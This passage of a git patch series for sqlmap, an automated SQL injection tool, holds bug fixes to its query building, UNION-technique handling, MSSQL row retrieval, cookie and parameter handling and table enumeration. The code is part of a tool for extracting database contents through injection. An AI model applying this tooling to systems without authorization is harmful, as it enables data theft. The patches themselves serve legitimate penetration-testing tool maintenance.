re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query2, expression, re.I) @@ -1096,16 +1100,16 @@ class Agent(object): # Note: query2 (LIMIT without OFFSET) always has exactly one group (the # count); using limitGroupStart here would IndexError for H2 (groupstart=2) stopLimit = limitRegExp2.group(1) - limitCond = int(stopLimit) > 1 - - elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): - if limitRegExp: # Note: standard 'LIMIT n OFFSET m' (or 'OFFSET m LIMIT n') isn't (fully) covered by limitregexp (e.g. OFFSET was silently ignored on MySQL) limitClause = re.search(r"(?i)\s+LIMIT\s+(?P\d+)\s+OFFSET\s+(?P\d+)", expression) or re.search(r"(?i)\s+OFFSET\s+(?P\d+)\s+LIMIT\s+(?P\d+)", expression) if limitClause: startLimit, stopLimit = int(limitClause.group("start")), limitClause.group("stop") + limitCond = int(stopLimit) > 1 + + elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): + if limitRegExp: limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query diff --git a/lib/core/settings.py b/lib/core/settings.py index fb34cadf3..2971b972c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.22" +VERSION = "1.10.11.23" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From e85b1bbd9d78a2af69a3509f6d641baab7bc0869 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 12:57:40 +0100 Subject: [PATCH 061/126] Fix for leftover ASC/DESC when stripping ORDER BY in UNION technique --- lib/core/settings.py | 2 +- lib/techniques/union/use.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 2971b972c..eb0d4e4d5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.23" +VERSION = "1.10.11.24" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index 252a50841..bbdbe681d 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -348,7 +348,7 @@ def unionUse(expression, unpack=True, dump=False): # Only remove outer ordering. Nested ORDER BY clauses can select which # rows survive a ROWNUM/TOP limit and must remain intact. positions = set(index for keyword in set(re.findall(r"(?i)ORDER BY", expression)) for index in zeroDepthSearch(expression, keyword)) - expression = re.sub(r"(?i)ORDER BY\s+[\w,]+", lambda match: "" if match.start() in positions else match.group(0), expression) + expression = re.sub(r"(?i)ORDER BY\s+[\w.]+(?:\s+(?:ASC|DESC)\b)?(?:\s*,\s*[\w.]+(?:\s+(?:ASC|DESC)\b)?)*", lambda match: "" if match.start() in positions else match.group(0), expression) debugMsg = "stripping ORDER BY clause from statement because " debugMsg += "it does not play well with UNION query SQL injection" singleTimeDebugMessage(debugMsg) From 7b8e03ef3ef83c575df37ff435fe493a5ccb83a1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 13:58:01 +0100 Subject: [PATCH 062/126] Fix for MSSQL row retrieval losing duplicates (OFFSET/FETCH for 2012+ and Azure) --- lib/core/agent.py | 5 +++++ lib/core/settings.py | 2 +- 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 2e44b910c..37e24a6fc 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -1267,6 +1267,11 @@ class Agent(object): orderBy = limitedQuery[limitedQuery.index(" ORDER BY "):] limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")] + # Note: Microsoft SQL Server 2012+ (and Azure) supports OFFSET/FETCH (row position based), while the (old) NOT IN forging is value based (i.e. collapses duplicate values) + if Backend.isDbms(DBMS.MSSQL) and (Backend.isVersionGreaterOrEqualThan("2012") or Backend.isVersionWithin(("Azure",))) and not re.search(r"(?i)\A(SELECT\s+)?(TOP|DISTINCT)\b", limitedQuery): + limitedQuery = "%s%s OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" % (limitedQuery, orderBy or " ORDER BY %s" % (uniqueField or '1'), num) + return limitedQuery + notDistincts = re.findall(r"DISTINCT[\(\s+](.+?)\)*\s+", limitedQuery, re.I) for notDistinct in notDistincts: diff --git a/lib/core/settings.py b/lib/core/settings.py index eb0d4e4d5..a8f5f7a95 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.24" +VERSION = "1.10.11.25" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From c129692040581121f539b1426400abde55984cdd Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 14:23:22 +0100 Subject: [PATCH 063/126] Fix for --cookie-del (regression from d55d1633) --- lib/core/agent.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 37e24a6fc..1d3940e5a 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -279,7 +279,7 @@ class Agent(object): return retVal # Note: parameter name has to start right after a delimiter (e.g. '-p id' must not match inside 'x-id=1') - boundary = r"(\A|(?<=[%s\s]))" % re.escape("%s%s%s" % (DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER, conf.paramDel or "")) + boundary = r"(\A|(?<=[%s\s]))" % re.escape("%s%s%s%s" % (DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER, conf.paramDel or "", conf.cookieDel or "")) if origValue: regex = r"%s%s=%s%s" % (boundary, re.escape(parameter), re.escape(origValue), r"(\Z|\b)" if origValue[-1].isalnum() else "") diff --git a/lib/core/settings.py b/lib/core/settings.py index a8f5f7a95..2f7e809d2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.25" +VERSION = "1.10.11.26" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From dd6356c277b89731e012e44b598775ec9cfa523d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 14:28:46 +0100 Subject: [PATCH 064/126] Fix for --load-cookies crash with session cookies (Python 3) --- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index cbe8caefd..5c6739220 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -5438,7 +5438,7 @@ def resetCookieJar(cookieJar): cookieJar.load(cookieJar.filename, ignore_expires=True) for cookie in cookieJar: - if getattr(cookie, "expires", MAX_INT) < time.time(): + if (getattr(cookie, "expires", None) or MAX_INT) < time.time(): # Note: session cookies have 'expires' set to None warnMsg = "cookie '%s' has expired" % cookie singleTimeWarnMessage(warnMsg) diff --git a/lib/core/settings.py b/lib/core/settings.py index 2f7e809d2..09b8c3e98 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.26" +VERSION = "1.10.11.27" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From fe6f6c48c32e70e609669f307e611cd2cd1c76f6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 14:28:46 +0100 Subject: [PATCH 065/126] Fix for --ignore-proxy being unusable with environment proxy --- lib/core/option.py | 5 +++-- lib/core/settings.py | 2 +- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 74f8feaa7..58ea9d7b9 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1394,7 +1394,8 @@ def _setHTTPHandlers(): debugMsg = "creating HTTP requests opener object" logger.debug(debugMsg) - handlers = filterNone([multipartPostHandler, proxyHandler if proxyHandler.proxies else None, authHandler, redirectHandler, rangeHandler, chunkedHandler if conf.chunked else None, httpsHandler]) + # Note: (emptied) proxyHandler is kept in case of --ignore-proxy, as otherwise urllib adds its default one (i.e. using environment proxies) + handlers = filterNone([multipartPostHandler, proxyHandler if proxyHandler.proxies or conf.ignoreProxy else None, authHandler, redirectHandler, rangeHandler, chunkedHandler if conf.chunked else None, httpsHandler]) if not conf.dropSetCookie: if not conf.loadCookies: @@ -2150,7 +2151,7 @@ def _cleanupOptions(): conf.binaryFields = re.split(PARAMETER_SPLITTING_REGEX, conf.binaryFields) envProxy = max(os.environ.get(_, "") for _ in PROXY_ENVIRONMENT_VARIABLES) - if re.search(r"\A(https?|socks[45])://.+:\d+\Z", envProxy) and conf.proxy is None: + if re.search(r"\A(https?|socks[45])://.+:\d+\Z", envProxy) and conf.proxy is None and not conf.ignoreProxy: debugMsg = "using environment proxy '%s'" % envProxy logger.debug(debugMsg) diff --git a/lib/core/settings.py b/lib/core/settings.py index 09b8c3e98..ce7abd4e0 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.27" +VERSION = "1.10.11.28" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From da5c2c66c6c0b54711454dbfba80b53408e4d069 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 14:28:46 +0100 Subject: [PATCH 066/126] Fix for Set-Cookie merge overwriting other cookies (e.g. id vs x-id) --- lib/core/settings.py | 2 +- lib/request/basic.py | 7 +++++-- 2 files changed, 6 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index ce7abd4e0..e1dea6b20 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.28" +VERSION = "1.10.11.29" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/basic.py b/lib/request/basic.py index f7a5c164b..7e1265070 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -121,7 +121,10 @@ def forgeHeaders(items=None, base=None): if cookie is None or cookie.domain_specified and not ((conf.hostname or "").endswith(cookie.domain) or (conf.hostname or "") == cookie.domain.lstrip('.')): continue - if ("%s=" % getUnicode(cookie.name)) in getUnicode(headers[HTTP_HEADER.COOKIE]): + # Note: cookie name has to start right after a delimiter (e.g. server's 'id' must not match inside user's 'x-id=2') + boundary = r"(?:\A|(?<=[%s\s]))" % re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER) + + if re.search(r"%s%s=" % (boundary, re.escape(getUnicode(cookie.name))), getUnicode(headers[HTTP_HEADER.COOKIE])): if conf.loadCookies: conf.httpHeaders = filterNone((item if item[0] != HTTP_HEADER.COOKIE else None) for item in conf.httpHeaders) elif kb.mergeCookies is None: @@ -134,7 +137,7 @@ def forgeHeaders(items=None, base=None): if kb.mergeCookies and kb.injection.place != PLACE.COOKIE: def _(value): - return re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), value) + return re.sub(r"(?i)%s%s=[^%s]+" % (boundary, re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), value) headers[HTTP_HEADER.COOKIE] = _(headers[HTTP_HEADER.COOKIE]) From fec03cf6626425655328817bfcf1939d1db21000 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 14:28:47 +0100 Subject: [PATCH 067/126] Fix for --param-del being URL encoded in GET requests --- lib/core/settings.py | 2 +- lib/request/connect.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index e1dea6b20..8d4ab5070 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.29" +VERSION = "1.10.11.30" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 338aab7d3..7834e9c17 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -500,7 +500,7 @@ class Connect(object): get = conf.parameters[PLACE.GET] if not conf.skipUrlEncode: - get = urlencode(get, limit=True) + get = urlencode(get, safe="%%&=-_%s" % (conf.paramDel or ""), limit=True) if get: if '?' in url: @@ -1678,7 +1678,7 @@ class Connect(object): cookie += "%s%s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, name, entry) if not conf.skipUrlEncode: - get = urlencode(get, limit=True) + get = urlencode(get, safe="%%&=-_%s" % (conf.paramDel or ""), limit=True) if post is not None: if place not in (PLACE.POST, PLACE.CUSTOM_POST) and hasattr(post, UNENCODED_ORIGINAL_VALUE): From 04e1162d5a3515c2fca320dcb263d7aecd4e5d57 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 14:29:08 +0100 Subject: [PATCH 068/126] Fix for --procs crash on DBMSes without stored procedures support --- lib/core/settings.py | 2 +- plugins/generic/databases.py | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 8d4ab5070..ec063373b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.30" +VERSION = "1.10.11.31" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 226f19e60..1537f8c6e 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -1234,7 +1234,8 @@ class Databases(object): infoMsg = "fetching stored procedures" logger.info(infoMsg) - rootQuery = queries[Backend.getIdentifiedDbms()].procedures + dbms = Backend.getIdentifiedDbms() + rootQuery = queries[dbms].procedures if dbms in queries and "procedures" in queries[dbms] else {} # Generic-first by design: a DBMS is supported iff it declares a query block in # queries.xml (INFORMATION_SCHEMA.ROUTINES / pg_proc / sys.sql_modules / ALL_SOURCE / RDB$PROCEDURES). From d49202eaf11da8b53bce1804681bee867449da3e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 14:31:18 +0100 Subject: [PATCH 069/126] Fix for SQLite --columns with multiple tables (-T a,b) --- lib/core/common.py | 4 ++-- lib/core/settings.py | 2 +- plugins/generic/databases.py | 10 +++++----- 3 files changed, 8 insertions(+), 8 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 5c6739220..f05579d7e 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3634,7 +3634,7 @@ def isDBMSVersionAtLeast(minimum): return retVal -def parseSqliteTableSchema(value): +def parseSqliteTableSchema(value, tbl=None): """ Parses table column names and types from specified SQLite table schema @@ -3675,7 +3675,7 @@ def parseSqliteTableSchema(value): columns[safeSQLIdentificatorNaming(column)] = match.group(3) or "TEXT" # Note: stored escaped, as by all other column enumeration paths (e.g. 'my col' -> '`my col`') - table[safeSQLIdentificatorNaming(conf.tbl, True)] = columns + table[safeSQLIdentificatorNaming(tbl or conf.tbl, True)] = columns if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[conf.db].update(table) else: diff --git a/lib/core/settings.py b/lib/core/settings.py index ec063373b..1fa7cc10e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.31" +VERSION = "1.10.11.32" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 1537f8c6e..3df7f8ab0 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -704,9 +704,9 @@ class Databases(object): if dumpMode and colList: if conf.db not in kb.data.cachedColumns: kb.data.cachedColumns[conf.db] = {} - kb.data.cachedColumns[conf.db][safeSQLIdentificatorNaming(conf.tbl, True)] = dict((_, None) for _ in colList) + kb.data.cachedColumns[conf.db][safeSQLIdentificatorNaming(tbl, True)] = dict((_, None) for _ in colList) else: - parseSqliteTableSchema(unArrayizeValue(values)) + parseSqliteTableSchema(unArrayizeValue(values), tbl) elif not isNoneValue(values): table = {} @@ -813,13 +813,13 @@ class Databases(object): if dumpMode and colList: if conf.db not in kb.data.cachedColumns: kb.data.cachedColumns[conf.db] = {} - kb.data.cachedColumns[conf.db][safeSQLIdentificatorNaming(conf.tbl, True)] = dict((_, None) for _ in colList) + kb.data.cachedColumns[conf.db][safeSQLIdentificatorNaming(tbl, True)] = dict((_, None) for _ in colList) else: query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(tbl) value = unArrayizeValue(inject.getValue(query, union=False, error=False)) - parseSqliteTableSchema(unArrayizeValue(value)) + parseSqliteTableSchema(unArrayizeValue(value), tbl) - return kb.data.cachedColumns + continue table = {} columns = {} From 04db324b019d4f96d4fad8fc09410c8f07066af6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 14:32:03 +0100 Subject: [PATCH 070/126] Fix for --search -T with multiple tables on SQLite/Firebird (blind) --- lib/core/settings.py | 2 +- plugins/generic/search.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 1fa7cc10e..424e4348b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.32" +VERSION = "1.10.11.33" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/generic/search.py b/plugins/generic/search.py index 61c9ff6cd..a7fb4c184 100644 --- a/plugins/generic/search.py +++ b/plugins/generic/search.py @@ -279,7 +279,7 @@ class Search(object): foundTbls[db] = [] else: dbName = "SQLite" if Backend.isDbms(DBMS.SQLITE) else "Firebird" - foundTbls["%s%s" % (dbName, METADB_SUFFIX)] = [] + foundTbls.setdefault("%s%s" % (dbName, METADB_SUFFIX), []) # Note: keeping matches of previous tables (e.g. -T users,nonexist) for db in foundTbls: db = safeSQLIdentificatorNaming(db) From b48a14a63ba5cf9957ed0ba9ddeb0dad96e70da4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 14:32:41 +0100 Subject: [PATCH 071/126] Fix for --sql-query splitting on ';' inside string literals --- lib/controller/action.py | 3 ++- lib/core/settings.py | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/controller/action.py b/lib/controller/action.py index 531dfa722..daea4e76c 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -9,6 +9,7 @@ from lib.controller.handler import setHandler from lib.core.common import Backend from lib.core.common import Format from lib.core.common import hashDBWrite +from lib.core.common import splitFields from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -251,7 +252,7 @@ def action(): raise if conf.sqlQuery: - for query in conf.sqlQuery.strip(';').split(';'): + for query in splitFields(conf.sqlQuery.strip(';'), delimiter=';'): # Note: e.g. "SELECT 'a;b'" is a single statement query = query.strip() if query: conf.dumper.sqlQuery(query, conf.dbmsHandler.sqlQuery(query)) diff --git a/lib/core/settings.py b/lib/core/settings.py index 424e4348b..5ff454131 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.33" +VERSION = "1.10.11.34" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 7827b2c389edfd993c59db17c39708e64c66271e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 14:32:41 +0100 Subject: [PATCH 072/126] Fix for --sql-file with comment lines --- lib/core/settings.py | 2 +- plugins/generic/custom.py | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 5ff454131..b4ac1fa5e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.34" +VERSION = "1.10.11.35" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py index 4d3ce0b70..cab2fef24 100644 --- a/plugins/generic/custom.py +++ b/plugins/generic/custom.py @@ -152,6 +152,7 @@ class Custom(object): # User SQL is not a bundled procedure template: preserve literals and percent tokens. snippet = readCachedFileContent(filename) + snippet = "\n".join(_ for _ in snippet.split("\n") if not re.match(r"\s*(--|#)", _)) # Note: only whole comment lines (literals stay intact) queries = [_.strip() for _ in splitFields(snippet, delimiter=';' if zeroDepthSearch(snippet, ';') else '\n') if _.strip()] if queries and all(query.upper().startswith("SELECT") for query in queries): From 7944f0e7e84a59fd79ac42f2d9874a36f9fb0e4b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 14:35:49 +0100 Subject: [PATCH 073/126] Fix for -D/-T lists with spaces after commas (e.g. -T 'users, creds') --- lib/core/option.py | 5 +++-- lib/core/settings.py | 2 +- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 58ea9d7b9..5cc7a6dc9 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2119,8 +2119,9 @@ def _cleanupOptions(): if conf.torType: conf.torType = conf.torType.upper() - if conf.col: - conf.col = re.sub(r"\s*,\s*", ',', conf.col) + for _ in ("db", "tbl", "col"): + if conf.get(_): + conf[_] = re.sub(r"\s*,\s*", ',', conf[_]) if conf.exclude: regex = False diff --git a/lib/core/settings.py b/lib/core/settings.py index b4ac1fa5e..2cf3e75e9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.35" +VERSION = "1.10.11.36" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 445516b151c58e19670b04aca7f67e49ccccd9a3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 14:44:08 +0100 Subject: [PATCH 074/126] Fix for retried requests (e.g. timeout, 429, dead proxy) losing the response page --- lib/core/settings.py | 2 +- lib/request/connect.py | 8 +++++--- 2 files changed, 6 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 2cf3e75e9..84af1c2d4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.36" +VERSION = "1.10.11.37" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 7834e9c17..a909a3ab3 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -367,7 +367,7 @@ class Connect(object): threadData = getCurrentThreadData() with kb.locks.request: kb.requestCounter += 1 - threadData.lastRequestUID = kb.requestCounter + threadData.lastRequestUID = requestUID = kb.requestCounter if conf.proxyFreq: if kb.requestCounter % conf.proxyFreq == 0: @@ -1115,8 +1115,10 @@ class Connect(object): if kb.postHint == POST_HINT.GRPC_WEB: page = grpcDecodeResponse(page, responseHeaders) - threadData.lastPage = page - threadData.lastCode = code + # Note: in case of a (nested) retried request, its (last) response is the relevant one + if threadData.lastRequestUID == requestUID: + threadData.lastPage = page + threadData.lastCode = code socket.setdefaulttimeout(conf.timeout) From d1ceaf9365719354acb54dd880e4a009a0bb8c29 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 14:44:50 +0100 Subject: [PATCH 075/126] Fix for --param-exclude partially matching place names (e.g. 'ge' vs GET) --- lib/controller/controller.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 0b1cb2c0d..3a44f6cff 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -711,7 +711,7 @@ def start(): infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) - elif conf.paramExclude and (re.search(conf.paramExclude, parameter, re.I) or kb.postHint and re.search(conf.paramExclude, parameter.split(' ')[-1], re.I) or re.search(conf.paramExclude, place, re.I)): + elif conf.paramExclude and (re.search(conf.paramExclude, parameter, 